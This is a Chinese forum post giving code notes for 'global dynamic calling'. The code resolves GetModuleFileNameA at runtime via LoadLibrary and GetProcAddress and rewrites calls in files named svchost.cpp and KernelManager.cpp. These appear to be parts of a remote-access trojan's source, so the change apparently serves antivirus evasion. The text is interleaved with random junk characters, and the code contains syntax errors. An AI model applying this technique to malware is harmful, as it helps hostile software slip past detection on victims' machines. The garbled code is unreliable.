返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
$ T1 Q: X4 u, R5 a9 ^svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
4 H5 h( s7 ^  C' F- M  u1 W----------------------------------------
: L' `7 x: K& R  c3 c4 z  }DTDY.h:
; U( I" B( d- G: j1 V5 h
* E# M8 F( P2 i/ U#if _MSC_VER>1000
. v$ ]7 h2 j  G1 z8 I" `#pragma once' J4 D8 G& I  U3 y' w) }9 w, P7 b, x* w; W
#endif //_MSC_VER>1000: u9 I4 ~. j+ ^7 ]6 z
#include<windows.h>
# `$ h6 u- F. {: I  @
2 L- w( F3 p0 B( q" Ptypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);+ f" s5 v3 M$ X1 B+ @/ a
class DTDY
, I- R* I1 q* n{
# l# F: A% D( T% k8 ypublic:
7 [3 h3 U% s2 l0 I5 oDTDY();
) b. G9 M4 V) ^virtual ~DTDY();
: T) b4 R% s4 d5 d2 N0 J3 ]public:
9 j% R+ d) R' V9 B) Y3 Qstatic pGetModuleFileNameA MyGetModuleFileName;
# f8 R/ X) V2 j& H# d( z# fstatic BOOL FunInitiallization();
" `; Q; i% S9 C- r( j: J; u, l6 o6 {};% B8 C& o8 |% o: b) r" n
#endif
5 P  s: a, b$ t+ V----------------------------------------& M. n8 Y# X3 s& D7 U- _6 O

. f$ z" F4 G8 Y4 mDTDY.cpp:$ K; z9 h% z( a
+ T9 D! n: y7 F7 |% J0 v
#include "DTDY.h"% {3 N% s( X4 D& `) f$ {
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
' K2 p' o. L) p# U' JDTDY:TDY()6 h( `3 w; {+ v9 T% S( _; S
{
! q. K0 L  |; v" E, j}
) f3 G  P& K) ^" {6 X' d3 rDTDY::~DTDY()
& q# ?3 S6 B% W5 v9 y8 c- p  K/ C{5 B' g" u) A# n. ~7 x2 q3 }
}
+ L/ j/ @/ x, Y7 E6 Q7 nBOOL DTDY::FunInitiallization()
% v/ X& `9 z8 L$ X7 c. e{, |. B; x1 h, P+ P" p
HMODULE hModule=LoadLibrary("kernel32.dll");  }& U8 o! g( c0 p+ i. D1 ^9 L
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
, R" |1 l, H: s  p; [if(!MyGetModuleFileName=) return FALSE;
. o! p2 a$ I. {& w4 N6 R6 x% e: @: @8 P2 K# T& t! n
return TRUE;
: j0 L  m. [* B}+ h$ S4 {! q5 {; O: ^5 w8 k
----------------------------------------
: D- [0 \9 A- Z" m. S7 Xsvchost.cpp:
( o  ]/ i' h" W, S$ B4 G2 }/ A2 k# I( o" ?, D; W1 @
#include "DTDY.h"
. F" ]( c& K$ ?! ^* d$ Z% Y" C0 i% ?
) o; ]* I4 B$ D' `: B; X, h: oBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)# M$ o. h* Y0 m5 x; N7 P
{" Q. F1 @" e; a- }) s( K. H
switch(ul_reason_for_call)+ P9 \3 e# l! f9 w7 N  u8 P9 l4 ^
{
3 [: p: q# n7 z2 y, gcase DLL_PROCESS_ATTACH:# M( ]8 L% R# G
if(!DTDY::FunInitiallization()) return FALSE;6 e: }5 _2 R  |% H8 }. l$ q" M' E

) n1 z( y  W) z6 q0 J; J, U  a3 jbreak;1 K6 M# f( S7 n% f0 ?1 S
}
7 ~4 @3 @/ w% t1 ?}
. Z7 F$ c3 r3 i. }+ [9 U
7 c+ O- _$ {4 ]& }+ E, ~- O, P
7 i& s8 z" g6 E) o' ~7 cGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
  g$ p6 S, C- O, B: V6 ^改写为
. U7 N+ ?; v8 JDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));# ^* d6 \) ?$ C9 ^) U% A
----------------------------------------) J0 A6 v- K* ^3 r
KernelManager.cpp:
  E& U4 d/ k! T7 ~0 }6 X
% b& u3 X7 Y* S- G% b( f0 p#include "../DTDY.h"2 Q3 z- o9 S# U& _$ p
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));3 ]$ \" I. L) a0 Y8 U! W2 g& v
改写为* d. J8 V3 A9 X4 z
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
0 e5 w2 b' F9 Y' |----------------------------------------

返回列表